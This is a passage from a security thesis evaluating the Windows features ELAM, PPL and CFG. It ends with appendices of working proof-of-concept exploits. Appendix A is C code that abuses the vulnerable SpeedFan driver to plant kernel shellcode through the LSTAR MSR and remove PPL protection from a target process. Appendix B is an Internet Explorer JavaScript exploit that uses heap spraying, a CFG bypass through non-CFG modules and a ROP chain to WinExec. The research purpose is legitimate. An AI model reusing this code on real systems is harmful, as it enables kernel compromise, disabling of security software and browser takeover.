on their software. Most attackers will be focusing their efforts on software that are ubiquitous, 
unless they are launching a targeted attack. On the other hand, targeted attacks are out of the 
scope of any exploit mitigation features because nothing can prevent a skilled and determined 
attacker from exploiting a vulnerability. 
 
Nevertheless, it remains critical for security software to enable CFG, at the very least, on modules 
they inject into other software. Attackers may not view exploiting a specific security software as 
worth their effort but they can design their exploits to search for non-CFG enabled module and 
launch a generic attack. To demonstrate that this is possible, Appendix B contains the proof of 
concept code. The core of the exploit is based on the CFG bypass gadget of Schenk (2017b) which 
is only two bytes long. The length of the gadget made it almost certain to be found in any non-CFG 
enabled modules. The exploit also uses the routine of Schenk for enumerating loaded modules. 
Instead of searching modules by name, the routine was modified to search modules with an 
IMAGE_DLLCHARACTERISTICS_GUARD_CF value in their DllCharacteristics of their 
PE header. The exploit has been tested to work against F-Secure modules and as of this writing, 
they are being fixed. Take note that the proof of concept code only works on Internet Explorer 
because the routine of Schenk for enumerating loaded modules is using the IsBadCodePtr 
Windows API, which is suppressed on Edge.  
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7 Evaluation 
 
At the beginning, this thesis has selected three security features found in modern Windows 
operating systems and set out to answer certain research questions for each of them. The 
succeeding sections summarize how this thesis has addressed all of them. 
 

7.1 What the Features are About 
 
For Early Launch Antimalware (ELAM), this thesis has explained that the feature is a type of driver 
that is initialized by Windows before any other drivers. ELAM provides antimalware software the 
ability to block any succeeding driver initializations. This is achieved by Windows by asking an 
ELAM driver whether it will be safe to initialize a driver before doing so, via callbacks. 
 
For Protected Processes Light (PPL), this thesis has explained that the feature is a new mechanism 
in Windows that grants different processes different protection levels based on the code-signing 
certificate of their image files. PPL prevents processes from performing certain operations on 
processes with higher protection levels. This is achieved by Windows by maintaining additional 
information about the processes in the system and by performing additional checks before 
allowing process, threads, and service operations. 
 
For Control Flow Guard (CFG), this thesis has explained that the feature is the control flow 
integrity implementation of Microsoft. It protects against exploits that hijack indirect control flow 
transfers in vulnerable software. This is achieved by inserting placeholder routines into software 
during compile time then replacing the placeholders with actual Windows routines that performs 
the checks at runtime. 
 

7.2 Why the Features were Introduced 
 
For ELAM, this thesis suggested that the feature was designed to counter driver-based rootkits. 
The suggestion was made based on the fact that ELAM only has visibility to drivers and that 
antimalware software need to load before rootkits to reliably detect the latter. This thesis has also 
explained how rootkits will be able to hide from antimalware software if the former were able to 
load first. 
 
For PPL, this thesis has provided example threats like admin based attacks and retroviruses. The 
examples were given based on findings of previous researches (Ionescu, 2013b; Ionescu, 2013b) 
and what was stated as one of the objectives of PPL in Microsoft documentation (Kennedy et al., 
2018). This thesis has also explained how the given examples depend on having admin to be able 
to perform operations on affected processes. 
 
For CFG, this thesis suggested that the feature was designed to hinder browser exploit 
development. The suggestion was made based on the observation that guarding indirect control 
flow transfers can make VTable hijacking more difficult. This thesis has also explained how most 
browser exploits depend on being able to hijack VTables to be successful. 
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7.3 How Effective were the Features 
 
For ELAM, this thesis has discussed how rootkits have already evolved into bookits. This thesis has 
also provided case studies on why ELAM is not be able to protect against the most recent rootkit 
and bootkit that were discovered in the wild. 
 
For PPL, this thesis has also provided two case studies. First is about how PPL may prevent a 
retrovirus from hijacking antimalware software, but may inadvertently also cause a denial-of-
service on the antimalware software at the same time, which is the opposite of what PPL has set 
out to do. The second is about how easily attackers can utilize available hacking tools to disable 
PPL. 
 
For CFG, this thesis has discussed the decline of exploits against browsers and suggested that it 
was partly due to the contributions of CFG making browser exploitation more difficult. This thesis 
then provided a case study on how CFG has rendered an existing browser exploit unusable.  
 

7.4 How Would Attackers Change Their Tactics to Counter the Features 
 
For ELAM, this thesis has shown that the feature was not able to protect against the latest rootkit 
and bootkit that was discovered in the wild. The case studies are real examples of threats that 
have evolved to counter existing defenses. Therefore, a proof of concept is no longer needed. 
 
For PPL, this thesis has speculated that attackers will resort to installing legitimate but vulnerable 
third-party drivers themselves, which they can then exploit to execute code in kernel mode. The 
speculation was made based on what has been observed being done by other malware that have 
gained admin rights. This thesis then took one of the legitimate third-party drivers being used by a 
real malware and developed a proof of concept code that exploits the driver to execute code that 
disables PPL. 
 
For CFG, this thesis has speculated that attackers that do not have the skills or time will resort to 
easier attack vectors but the feature will not be able to stop determined attackers. This thesis then 
explained how the browser exploit discussed in the case study can been adjusted to bypass CFG. 
This thesis has also developed a proof of concept code that locates non-CFG enabled modules in a 
browser to exploit. 
 

7.5 What are the Consequences of the Features 
 
For ELAM, this thesis has discussed how the feature alone does not provide much benefit and 
advised end users to enable UEFI secure boot if their hardware supported it. This thesis has also 
covered how antimalware software vendors might need to build a new signature update channel 
to utilize ELAM but recommended them to do so anyways since they are now required by 
Microsoft to have an ELAM component to support PPL, which is subsequently required to 
integrate into Windows. This thesis has also provided some suggestions on how to utilize ELAM 
like for protecting 32-bit systems and for warning users of vulnerable drivers. 
 
For PPL, this thesis also discussed how the feature alone is not enough and advised end users to 
enable Virtualization Based Security if their hardware supported it. This thesis has also advised 
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antimalware software developers to immediately address the potential denial-of-service issue 
introduced by PPL, to phase out redundant modules that are now handled by PPL, and to consider 
setting up their own private CA to reduces the frequency needed to update their ELAM. 
 
For CFG, this thesis has advised end users to choose software that is CFG-enabled when the option 
is available, although additional considerations must be taken when choosing security software. 
This thesis has also advised security software developers to enable CFG as soon as possible, even 
though they might be facing issues such as maintaining multiple code bases, and building new 
infrastructures. 
 
 
  



 

 57 

8 Related Work 
 
It was mentioned in the Early Launch Antimalware chapter that adding entries to the Global 
Descriptor Table is no longer possible due to a security feature called PatchGuard. Moreover, the 
feature was mentioned again in the Protected Process chapter, wherein the proof of concept 
(PoC) code has to restore the MSR to avoid being detected. Another feature called Virtualization 
Based Security (VBS) was also mentioned in the chapter, saying that it can prevent the PoC from 
executing its shellcode and that the feature is also required to be able to effectively protect user 
credentials in lsass.exe. This chapter will briefly cover how these two features work.  
 

8.1 PatchGuard 
 
PatchGuard, officially known as the Kernel Patch Protection, is a security feature in 64-bit 
Windows that was introduced during the Windows XP days. The feature guards the integrity of 
certain memory structures like the Global Descriptor Table, critical CPU registers like the MSRs, 
Windows functions like the PatchGuard code, and several other non-documented items by 
performing periodic checks to ensure that none of them have been tampered with. When a 
modification is detected, PatchGuard will simply crash the system to contain further damage. Just 
like with any code running in kernel mode, PatchGuard is susceptible to kernel based attacks. 
Therefore, PatchGuard has to rely on obfuscation, randomization and non-documentation to 
dissuade potential attackers by making their attempts very costly (Diskin, 2013; Yosifovich et al., 
2017: 764-765). 
 

8.2 Virtualization Base Security 
 
VBS, on the other hand, is a collection of security features that utilize a new operating mode of 
Windows called the Virtual Secure Mode (VSM), which was introduced in Windows 10 and 
Windows Server 2016. The mode is enabled by default starting Windows 10 version 1607 and 
Windows Server 2016 when Hyper-V is enabled (Yosifovich et al., 2017: 59). 
 
As mentioned in the Protected Process chapter, Hyper-V will start filtering access to the MSRs 
when VBS is enabled. This mitigates all kernel exploits that depends on being able to modify the 
MSRs, including the PoC provided in the Protected Process chapter. However, Hyper-V will only 
filter access to MSRs when VBS is enabled. Microsoft (Graff et al., 2017a) did not specify their 
motivation for requiring VBS, but in theory there is nothing preventing Hyper-V from filtering 
access to MSRs even when Windows is not running in VSM. Perhaps the filtering support was only 
implemented in Hyper-V together with the VSM support. 
 
Aside from MSR filtering, the rest of the VBS features rely on the VSM. As mentioned in previous 
chapters, Windows has traditionally relied on the privilege levels provided by the CPU to maintain 
the integrity of the system. In the traditional approach though, attackers who can execute code in 
kernel mode can do anything they want in the system. To address this, Windows introduced the 
VSM. In VSM, Windows used the hypervisor to carve out another layer of isolation within each 
Hyper-V partition, called the Virtual Trust Levels (VTLs). There are only two VTLs at the moment: 
VTL0 and VTL1. Figure 8.1 describes how the Windows architecture looks like when operating in 
VSM. Notice how it has changed from Figure 2.1 presented in the Introduction chapter. 
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Figure 8.1: Windows Architecture in VSM 

 
In VSM, Windows operates in VTL0 just like how it used to in the traditional non-VSM model, 
except that some services, particularly those that are security-sensitive, were moved to VTL1. As a 
result, the isolation provided by the hypervisor prevents attackers, who were able to execute code 
in VTL0 kernel mode, from corrupting data or code located in VTL1. Table 8.1 list down some 
examples of services handled in VTL1 (Yosifovich et al., 2017: 611-621, 768-769). 
 

Service Name of VBS Feature 

Credentials of signed on users are now stored in the lsaIso.exe trustlet 
(VTL1) instead of the lsass.exe process (in VTL0) 

Credential Guard 

Code integrity checks are now performed in VTL1 Device Guard 

Integrity checks similar to PatchGuard are performed in VTL1 HyperGuard 

Table 8.1: Services Handled in VTL1 
 
In VTL1, Windows uses a different kernel component called the securekernel.exe. Unlike 
ntoskrnl.exe, securekernel.exe only allows a list of components, called trustlets, to run in VTL1. 
Securekernel.exe also only contains routines for the secure system services. Normal system 
service calls will be filtered and only those that are allowed will be forwarded to the ntoskrnl.exe 
in VTL0 for processing. This way, securekernel.exe is able to prevent execution of unauthorize 
code, reduces the amount of potentially exploitable code, and limit the type of operations that 
can be performed in VTL1 when compromised. The secure system services are exposed to the 
trustlets through imubase.dll and iumdll.dll, which are the secure system service equivalent of the 
subsystem libraries and ntdll.dll respectively. Finally, Securekernel.exe uses the same set of the 
subsystem libraries and ntdll.dll for exposing the normal system services to the trustlets 
(Yosifovich et al., 2017: 59-61). 
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9 Conclusion 
 
This thesis has assessed three security features in modern Windows operating systems. First was 
the Early Launch Antimalware (ELAM), which enables an antimalware software to block rootkits 
from loading during early phases of system startups. This allows the antimalware software to 
continue the chain of trust established by the hardware and Trusted Boot of Windows. However, 
by itself, ELAM does not does not provide much value. Also, modern rootkits like Cahnadr are able 
to bypass the chain of trust provided by all the features combined. Nevertheless, an antimalware 
software should still take full advantage of the benefits provided by ELAM. One example is to use 
ELAM to notify users of the presence of legitimate but vulnerable third-party drivers. This way, 
users have the chance to update their drivers before the latter can be exploited by attackers. This 
may be a valuable service since the trend is heading towards exploiting third-party drivers. After 
all, an antimalware software is now required by Microsoft to have an ELAM component. 
 
The second feature was Protected Processes Light (PPL). The feature was supposed to protect 
system and antimalware software processes from attackers that were able to gain admin 
privileges. Although the feature was able to prevent attackers from further escalating their 
privileges in a system via csrss.exe, the feature fell short in other areas. This is because PPL can 
easily be manipulated by code executing in kernel mode. The emergence of ‘Bring Your Own Vuln’ 
attacks have shown that it is trivial to execute kernel mode code once an attacker has gained 
admin privileges. This might be the reason why Microsoft did not bother to enable PPL on 
lsass.exe by default to protect credentials of signed on users. They knew that Virtualization Based 
Security is needed to effectively protect against such attack. Also, PPL has the side effect of 
causing a denial-of-service on an antimalware software when the latter failed to prevent attackers 
from creating certain malware persistence. This means that an antimalware software has to be 
more vigilant in protecting against such attacks now that it is required by Microsoft to have PPL. 
 
Finally, Control Flow Guard (CFG) seemed to be the only feature assessed by this thesis that was 
successful in what it has set out to accomplish. CFG seemed to have played a role in reducing the 
number of successful browser exploitation over the years. This is because major browsers already 
have most of their modules, if not all, built with CFG enabled. However, this means that security 
software vendors have to enable CFG in their browser plugin components as soon as possible. 
Otherwise, they have the potential to make a previously unexploitable vulnerability exploitable. 
 
Modern Windows operating systems contain a large collection of built-in security features (Hall et 
al., 2017). In the three features that were assessed, two were designed to work with other security 
features. Thus, it should not come as a surprise if in the future, more security features are also 
found to be dependent on other security features when assessed. This is because security features 
are seldomly designed to stand alone. They are usually intended to complement each other. This 
has led us to wonder that perhaps when other security features were also present, rootkits like 
Cahnadr could have also been mitigated and that CFG could have eliminated, instead of just 
reducing successful browser exploitation. Therefore, it is very important to understand as much of 
the security features as possible. As the threats are still evolving, more features will be introduced. 
Hence, this thesis is hoping to have at least contributed in advancing the understanding of the 
continuously growing list of security features being provided by Windows. 
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Appendix A: Code Exploiting CVE-2007-5633 to Disable PPL 
 
#include "stdafx.h" 

#include "kartolib.h" 

 

#define IOCTL_RDMSR 0x9C402438 

#define IOCTL_WRMSR 0x9C40243C 

 

typedef NTSTATUS(WINAPI *NTCLOSE)(IN HANDLE); 

 

// https://stackoverflow.com/questions/7775991/how-to-get-hexdump-of-a-structure-data 

void hexDump(char *desc, void *addr, int len) { 

 int i; 

 unsigned char buff[17]; 

 unsigned char *pc = (unsigned char*)addr; 

 

 // Output description if given. 

 if (desc != NULL) 

  printf("%s:\n", desc); 

 

 if (len == 0) { 

  printf("  ZERO LENGTH\n"); 

  return; 

 } 

 if (len < 0) { 

  printf("  NEGATIVE LENGTH: %i\n", len); 

  return; 

 } 

 

 // Process every byte in the data. 

 for (i = 0; i < len; i++) { 

  // Multiple of 16 means new line (with line offset). 

 

  if ((i % 16) == 0) { 

   // Just don't print ASCII for the zeroth line. 

   if (i != 0) 

    printf("  %s\n", buff); 

 

   // Output the offset. 

   printf("  %04x ", i); 

  } 

 

  // Now the hex code for the specific character. 

  printf(" %02x", pc[i]); 

 

  // And store a printable ASCII character for later. 

  if ((pc[i] < 0x20) || (pc[i] > 0x7e)) 

   buff[i % 16] = '.'; 

  else 

   buff[i % 16] = pc[i]; 

  buff[(i % 16) + 1] = '\0'; 

 } 

 

 // Pad out last line if not exactly 16 characters. 

 while ((i % 16) != 0) { 

  printf("   "); 

  i++; 

 } 

 

 // And print the final ASCII bit. 

 printf("  %s\n", buff); 

} 

 

 

void main(int argc, char **argv) 

{ 

 HANDLE   hDevice = NULL; 

 DWORD    lpinBuff[3] = { 0xC0000082, 0, 0 }; 

 DWORD    lpoutBuff[2] = { 0, 0 }; 

 DWORD    junk = NULL; 

 LPVOID   lpShellCode = NULL; 

 LPVOID   lpTempBuff = NULL; 

 LPVOID   lpMsgBuf = NULL; 

 NTSTATUS status = NULL; 

 DWORD    error = NULL; 
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 HMODULE  hNtdll = NULL; 

 NTCLOSE  _NtClose = NULL; 

 

 unsigned char shellCode[] = 

  "\x51"                                     // push    rcx 

  "\x41\x53"                                 // push    r11 

  "\xB8\x90\x90\x90\x90"                     // mov     eax, 90909090h 

  "\xBA\x90\x90\x90\x90"                     // mov     edx, 90909090h 

  "\xB9\x82\x00\x00\xC0"                     // mov     ecx, 0C0000082h 

  "\x0F\x30"                                 // wrmsr 

  "\x0F\x01\xF8"                             // swapgs 

  "\x65\x48\x8B\x04\x25\x88\x01\x00\x00"     // mov     rax, gs:188h 

  "\x48\x8B\x80\x20\x02\x00\x00"             // mov     rax, [rax+220h] 

  "\x48\x8B\x80\xE8\x02\x00\x00"             // mov     rax, [rax+2E8h] 

  "\x48\x2D\xE8\x02\x00\x00"                 // sub     rax, 2E8h 

  "\x81\xB8\xE0\x02\x00\x00\x90\x90\x90\x90" // cmp     dword ptr [rax+2E0h], 90909090h 

  "\x75\xE7"                                 // jnz     short loc_27 

  "\x81\xB8\xE4\x02\x00\x00\x90\x90\x90\x90" // cmp     dword ptr [rax+2E4h], 90909090h 

  "\x75\xDB"                                 // jnz     short loc_27 

  "\xC6\x80\xCA\x06\x00\x00\x00"             // mov     byte ptr [rax+6CAh], 0 

  "\x48\xB8\x90\x90\x90\x90\x90\x90\x90\x90" // mov     rax, 9090909090909090h 

  "\x48\xC7\x00\x79\x65\x73\x00"             // mov     qword ptr [rax], 'sey' 

  "\x41\x5B"                                 // pop     r11 

  "\x59"                                     // pop     rcx 

  "\x0F\x01\xF8"                             // swapgs 

  "\x48\x0F\x07";                            // sysret 

 

 hNtdll = GetModuleHandleA("ntdll.dll"); 

 _NtClose = (NTCLOSE)GetProcAddress(hNtdll, "NtClose"); 

 

 if (argc < 2) 

 { 

  printf("\n Syntax: %s pid\n ", argv[0]); 

  return; 

 } 

 

 printf("\n Target PID: 0x%llx \n ", atoi(argv[1])); 

 *(DWORD *)(shellCode + 0x3a) = (DWORD) atoi(argv[1]); 

 *(DWORD *)(shellCode + 0x46) = (DWORD)((ULONG64)atoi(argv[1]) >> 32); 

 

 hDevice = OpenDevice((WCHAR *) L"\\Device\\speedfan", TRUE, FALSE, FALSE, 0, 0); 

 

 if (hDevice == INVALID_HANDLE_VALUE) 

 { 

  printf("\n Vulnerable driver not found.\n "); 

  return; 

 } 

 

 printf("\n [+] Reading LSTAR \n"); 

 lpinBuff[0] = 0xC0000082; 

 DeviceIoControl(hDevice, 

IOCTL_RDMSR, 

(LPVOID) lpinBuff, 

0x4, 

(LPVOID) lpoutBuff, 

0x8, &junk, NULL); 

 printf("\n MSR[ LSTAR ]:  nt!KiSystemCall64 [ 0x%X%X ]\n", lpoutBuff[1], lpoutBuff[0]); 

 

 *(DWORD*)(shellCode + 4) = lpoutBuff[0]; 

 *(DWORD*)(shellCode + 9) = lpoutBuff[1]; 

 

 lpTempBuff = VirtualAlloc(NULL, 4, MEM_COMMIT, PAGE_READWRITE); 

 *(DWORD*)(shellCode + 0x55) = (DWORD)lpTempBuff; 

 *(DWORD*)(shellCode + 0x59) = (DWORD)((ULONG64)lpTempBuff >> 32); 

 

 hexDump((char *) "\n Shellcode", &shellCode, sizeof(shellCode)); 

 

 lpShellCode = VirtualAlloc(NULL, sizeof(shellCode), MEM_COMMIT, PAGE_EXECUTE_READWRITE); 

 memcpy(lpShellCode, (void*) shellCode, sizeof(shellCode)); 

 

 lpinBuff[0] = 0xC0000082; 

 lpinBuff[1] = (DWORD)((ULONG64)lpShellCode >> 32); 

 lpinBuff[2] = (DWORD)lpShellCode; 

 

 memcpy(lpTempBuff, (void*) "no", 2); 

 

 printf("\n shellcode address: 0x%llx \n", lpShellCode); 
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 printf("\n lpinBuff[0]: 0x%llx \n", lpinBuff[0]); 

 printf("\n lpinBuff[1]: 0x%llx \n", lpinBuff[1]); 

 printf("\n lpinBuff[2]: 0x%llx \n", lpinBuff[2]); 

 printf("\n Shellcode executed check var address: 0x%llx \n", lpTempBuff); 

 printf("\n Shellcode executed: %s \n", lpTempBuff); 

 printf("\n Press Enter to execute shellcode. \n"); 

 getchar(); 

 

 printf("\n [+] Writing LSTAR \n"); 

 

 SetPriorityClass(GetCurrentProcess(), REALTIME_PRIORITY_CLASS); 

 SetThreadPriority(GetCurrentThread(), THREAD_PRIORITY_TIME_CRITICAL); 

 

 status = DeviceIoControl(hDevice, 

IOCTL_WRMSR, 

(LPVOID) lpinBuff, 

0xC, 

(LPVOID) lpoutBuff, 

0x8, &junk, NULL); 

 Sleep(1000); 

 

 if (status == 0) { 

  error = GetLastError(); 

 

  FormatMessage( 

   FORMAT_MESSAGE_ALLOCATE_BUFFER | 

   FORMAT_MESSAGE_FROM_SYSTEM | 

   FORMAT_MESSAGE_IGNORE_INSERTS, 

   NULL, 

   error, 

   MAKELANGID(LANG_NEUTRAL, SUBLANG_DEFAULT), 

   (LPTSTR) &lpMsgBuf, 

   0, NULL); 

 

  printf("\n %s \n", lpMsgBuf); 

  VirtualFree(lpMsgBuf, 0, MEM_RELEASE); 

 } 

 else 

 { 

  printf("\n Shellcode executed: %s \n", lpTempBuff); 

 } 

 

 printf("\n Press Enter to terminate. \n"); 

 getchar(); 

 

 _NtClose(hDevice); 

 VirtualFree(lpShellCode, 0, MEM_RELEASE); 

 VirtualFree(lpTempBuff, 0, MEM_RELEASE); 

} 
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Appendix B: Code Leveraging on Non-CFG Modules to Exploit MS16-06 
 
<html> 

    <body> 

        <script> 

        var arr = new Array(0x200000); 

        var ab2 = new ArrayBuffer(0x1337); 

 

        function sprayHeap()  

        { 

            for (var i = 0; i < arr.length; i++) 

            { 

                arr[i] = new Uint8Array(ab2); 

            } 

        } 

 

        function pwn() { 

            var ab = new ArrayBuffer(2123 * 1024); 

            var ia = new Int8Array(ab); 

             

            detach(ab); 

            setTimeout(main, 50, ia); 

 

            function detach(ab) { 

                postMessage("", "*", [ab]); 

            } 

 

            function ub(sb) { 

                return (sb < 0) ? sb + 0x100 : sb; 

            } 

 

            function setAddress(addr) { 

                ia[lengthIdx + 4] = addr & 0xFF; 

                ia[lengthIdx + 4 + 1] = (addr >> 8) & 0xFF; 

                ia[lengthIdx + 4 + 2] = (addr >> 16) & 0xFF; 

                ia[lengthIdx + 4 + 3] = (addr >> 24) & 0xFF; 

            } 

 

            function readDWORD(addr) { 

                setAddress(addr); 

                var ret = 0; 

                for( var i = 0; i < 4;  i++) 

                { 

                    ret |= (mv[i] << (i * 8)); 

                } 

                return ret; 

            } 

 

            function writeDWORD(addr, val) { 

                setAddress(addr); 

                for(var i = 0; i < 4; i ++) 

                { 

                    mv[i] = (val >> (i * 8)) & 0xFF; 

                } 

            } 

 

            function findKernel32Addr(addr) 

            { 

                var sum = 0; 

                var hash = -0x35f155d7 

                while(true) 

                { 

                    sum = 0; 

                    for(var i = 0; i < 5; i++) 

                    { 

                        data = readDWORD(addr + i * 4); 

                        sum = (sum + data) & 0xFFFFFFFF; 

                    } 

                    if(sum == hash) 

                    { 

                        break; 

                    } 

                    else 

                    { 

                        addr++; 
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                    } 

                } 

 

                var kernel32Addr = readDWORD(readDWORD(addr + 0x39)); 

                return kernel32Addr; 

            } 

 

            function findIsBadCodePtr(addr) { 

                var sum = 0; 

                var hash = 0xa3f7221; 

                while(true) 

                { 

                    sum = 0; 

                    for(var i = 0; i < 4; i++) 

                    { 

                        data = readDWORD(addr + i * 4); 

                        sum = (sum + data) & 0xFFFFFFFF; 

                    } 

                    if(sum == hash) 

                    { 

                        return addr; 

                    } 

                    else 

                    { 

                        addr++; 

                    } 

                } 

                return; 

            } 

 

            function getName(addr) { 

                var name = "" 

                var i = 0; 

                var stringAddr = readDWORD(addr); 

                while(true) 

                {     

                    var tmp = readDWORD(stringAddr + i * 0x4); 

                    char1 = (tmp >> 16) & 0xff 

                    char2 = tmp & 0xff; 

                    if(char2 == 0x0) 

                    { 

                        return name; 

                    } 

                    if(char1 == 0x0) 

                    { 

                        name += String.fromCharCode(char2); 

                        return name; 

                    } 

                    name += String.fromCharCode(char2) + String.fromCharCode(char1); 

                    i++; 

                } 

                return name; 

            } 

 

            function findKernelbaseAddr(addr) 

            { 

                var sum = 0; 

                var hash = -0x35f155d7 

                while(true) 

                { 

                    sum = 0; 

                    for(var i = 0; i < 5; i++) 

                    { 

                        data = readDWORD(addr + i * 4); 

                        sum = (sum + data) & 0xFFFFFFFF; 

                    } 

                    if(sum == hash) 

                    { 

                        break; 

                    } 

                    else 

                    { 

                        addr++; 

                    } 

                } 

 

                var kernel32Addr = readDWORD(readDWORD(addr + 0x39)); 
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                var kernelbaseAddr = readDWORD(readDWORD(kernel32Addr + 8)); 

                return kernelbaseAddr; 

            } 

 

            function leakCFGBypassGadget(addr) 

            { 

                var PEoffset = readDWORD(addr + 0x3C); 

                var codeSize = readDWORD(addr + PEoffset + 0x1C); 

                var codeAddr = addr + readDWORD(addr + PEoffset + 0x2C); 

                var ptrAddr = 0; 

                var gadget = 0xc35b; 

                for(var i = codeAddr; i < codeAddr + codeSize; i++) 

                { 

                    var data = (readDWORD(i) & 0xFFFF); 

                    if(data == gadget) 

                    { 

                        ptrAddr = i; 

                        break; 

                    } 

                } 

                return ptrAddr; 

            } 

 

            function leakPivotGadget(addr) 

            { 

                var ptrAddr = 0; 

                var test1 = 0x00d8a18b; 

                var test2 = 0x04c20000; 

                while(1) 

                { 

                    var res = readDWORD(addr); 

                    if(res == test1) 

                    { 

                        res = readDWORD(addr+4); 

                        if(res == test2) 

                        { 

                            ptrAddr = addr; 

                            break; 

                        } 

                    } 

                    addr++; 

                } 

                return ptrAddr; 

            } 

 

            function findWinExec(addr) { 

                var sum = 0; 

                var hash = 0x23239600 

                while(true) 

                { 

                    sum = 0; 

                    for(var i = 0; i < 5; i++) 

                    { 

                        data = readDWORD(addr + i * 4); 

                        sum = (sum + data) & 0xFFFFFFFF; 

                    } 

                    if(sum == hash) 

                    { 

                        return addr - 0x13; 

                    } 

                    else 

                    { 

                        //alert("hash of " + addr.toString(16) + " is: " + sum.toString(16)); 

                        addr++; 

                    } 

                } 

                return; 

            } 

 

            function findExitProcess(addr) { 

                var sum = 0; 

                var hash = -0x434D94BC; 

                while(true) 

                { 

                    sum = 0; 

                    for(var i = 0; i < 4; i++) 

                    { 
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                        data = readDWORD(addr + i * 4); 

                        sum = (sum + data) & 0xFFFFFFFF; 

                    } 

                    if(sum == hash) 

                    { 

                        return addr; 

                    } 

                    else 

                    { 

                        addr++; 

                    } 

                } 

                return; 

            } 

 

            function checkNonCFGModule(addr) 

            { 

                var PEoffset = readDWORD(addr + 0x3C); 

                var DllCharacteristics = readDWORD(addr + PEoffset + 0x5E); 

                 

                if((DllCharacteristics & 0x4000) == 0) 

                { 

                    return true; 

                } 

                return false; 

            } 

 

            function main(ia) { 

                sprayHeap(); 

 

                /* 

                ab allocated address plus i to find first case of 0x1337 tag, 

                increase tag to 0x1338 then find it again from length parameter. 

                buffer is at offset +4 and vtable is at offset -0x1c 

                */ 

                for (var i = 0; ia[i] != 0x37 || ia[i+1] != 0x13 || ia[i+2] != 0x00 || ia[i+3] 

                    != 0x00 ;i++) 

                { 

                    if(ia[i] === undefined) 

                    { 

                        return; 

                    } 

                } 

 

                ia[i]++ 

                lengthIdx = i; 

 

                try { 

                    for(var i = 0; arr[i].length != 0x1338; i++); 

                } catch(e) { 

                    return; 

                } 

 

                mv = arr[i]; 

 

                var bufaddr = ub(ia[lengthIdx + 4]) | 

                    ub(ia[lengthIdx + 4 + 1]) << 8 | 

                    ub(ia[lengthIdx + 4 +2 ]) << 16 | 

                    ub(ia[lengthIdx + 4 +3]) << 24; 

                var vtable = ub(ia[lengthIdx - 0x1c]) | 

                    ub(ia[lengthIdx - 0x1c + 1]) << 8 | 

                    ub(ia[lengthIdx - 0x1c + 2]) << 16 | 

                    ub(ia[lengthIdx - 0x1c + 3]) << 24; 

 

                var kernel32Addr = findKernel32Addr(vtable); 

                //alert("Leaked kernel32 addr (" + kernel32Addr.toString(16) + ")"); 

 

                var IsBadCodePtrAddr = findIsBadCodePtr(kernel32Addr); 

                //alert("Leaked IsBadCodePtr addr (" + IsBadCodePtrAddr.toString(16) + ")"); 

 

                var vtaddr = bufaddr; 

 

                for (var i = 0; i < (0x188 / 4); i++) 

                { 

                    writeDWORD(vtaddr + i * 4, readDWORD(vtable + i * 4)); 

                } 
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                ia[lengthIdx - 0x1c] = (vtaddr >> 0) & 0xFF; 

                ia[lengthIdx - 0x1c + 1] = (vtaddr >> 8) & 0xFF; 

                ia[lengthIdx - 0x1c + 2] = (vtaddr >> 16) & 0xFF; 

                ia[lengthIdx - 0x1c + 3] = (vtaddr >> 24) & 0xFF; 

 

                writeDWORD(vtaddr + 0x7C, IsBadCodePtrAddr); 

 

                var pebAddr = 0; 

                var lastpebAddr = 0; 

                for(var i = 0x100000; i < 0x4000000; i += 0x1000) 

                { 

                    var res = i in mv; 

 

                    if(res == false) 

                    { 

                        data = readDWORD(i + 0x18); 

                        if(i == data) 

                        { 

                            data2 = readDWORD(i + 0x30); 

                            if(data2 == lastpebAddr) 

                            { 

                                //alert("Valid address: " + i.toString(16)) 

                                pebAddr = data2; 

                                break; 

                            } 

                            lastpebAddr = data2 

                        } 

                    } 

                } 

 

                var PEB_LDR_DATA = readDWORD(pebAddr + 0xC); 

                var LDR_MODULE_LIST = readDWORD(PEB_LDR_DATA + 0x1c); 

                var search_MODULE_LIST = LDR_MODULE_LIST; 

                var moduleBase = 0; 

 

                while(true) 

                { 

                    var base = readDWORD(search_MODULE_LIST + 0x8); 

                    if(checkNonCFGModule(base)) 

                    { 

                        var name = getName(search_MODULE_LIST + 0x18) 

                        alert("Found non-CFG module: " + name); 

                        moduleBase = base; 

                        break; 

                    } 

                    else 

                    { 

                        search_MODULE_LIST = readDWORD(search_MODULE_LIST); 

                    } 

                } 

 

                // will just crash if no non-CFG module was found 

                if(moduleBase != 0) 

                { 

                    var CFGBypassGadget = leakCFGBypassGadget(moduleBase); 

                    //alert("CFGBypassGadget is: " + CFGBypassGadget.toString(16)); 

 

                    var kernelbaseAddr = findKernelbaseAddr(vtable); 

                    //alert("Leaked kernelbase addr (" + kernelbaseAddr.toString(16) + ")"); 

 

                    var pivotGadgetAddr = leakPivotGadget(kernelbaseAddr); 

                    //alert("pivotGadgetAddr is: " + pivotGadgetAddr.toString(16)); 

 

                    var WinExecAddr = findWinExec(kernel32Addr); 

                    //alert("WinExecAddr is: " + WinExecAddr.toString(16)); 

 

                    var ExitProcessAddr = findExitProcess(kernel32Addr); 

                    //alert("ExitProcessAddr is: " + ExitProcessAddr.toString(16)); 

 

                    ia[lengthIdx + 0x00] = 0x00; 

                    ia[lengthIdx + 0x01] = 0x00; 

                    ia[lengthIdx + 0x02] = 0x00; 

                    ia[lengthIdx + 0x03] = 0x7e; 

                 

                    var ropaddr = bufaddr + 0x300; 

 

                    writeDWORD(ropaddr, WinExecAddr) 
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                    writeDWORD(ropaddr + 4, 0)                 // pivotGadgetAddr argument 

                    writeDWORD(ropaddr + 8, ExitProcessAddr) 

                    writeDWORD(ropaddr + 0x0c, ropaddr + 0x14) // lpCmdLine of WinExec 

                    writeDWORD(ropaddr + 0x10, 5)              // uCmdShow (SW_SHOW) of WinExec 

 

                    // c:\Windows\System32\notepad.exe 

                    writeDWORD(ropaddr + 0x14, 0x575C3A63) 

                    writeDWORD(ropaddr + 0x18, 0x6F646E69) 

                    writeDWORD(ropaddr + 0x1C, 0x735C7377) 

                    writeDWORD(ropaddr + 0x20, 0x65747379) 

                    writeDWORD(ropaddr + 0x24, 0x5C32336D) 

                    writeDWORD(ropaddr + 0x28, 0x65746F6E) 

                    writeDWORD(ropaddr + 0x2C, 0x2E646170) 

                    writeDWORD(ropaddr + 0x30, 0x00657865) 

 

                    ia[lengthIdx + 0xbc] = (ropaddr >> 0) & 0xFF; 

                    ia[lengthIdx + 0xbc + 1] = (ropaddr >> 8) & 0xFF; 

                    ia[lengthIdx + 0xbc + 2] = (ropaddr >> 16) & 0xFF; 

                    ia[lengthIdx + 0xbc + 3] = (ropaddr >> 24) & 0xFF; 

 

                    writeDWORD(vtaddr + 0x188, CFGBypassGadget); 

 

                    mv.subarray(pivotGadgetAddr); 

                } 

            } 

        } 

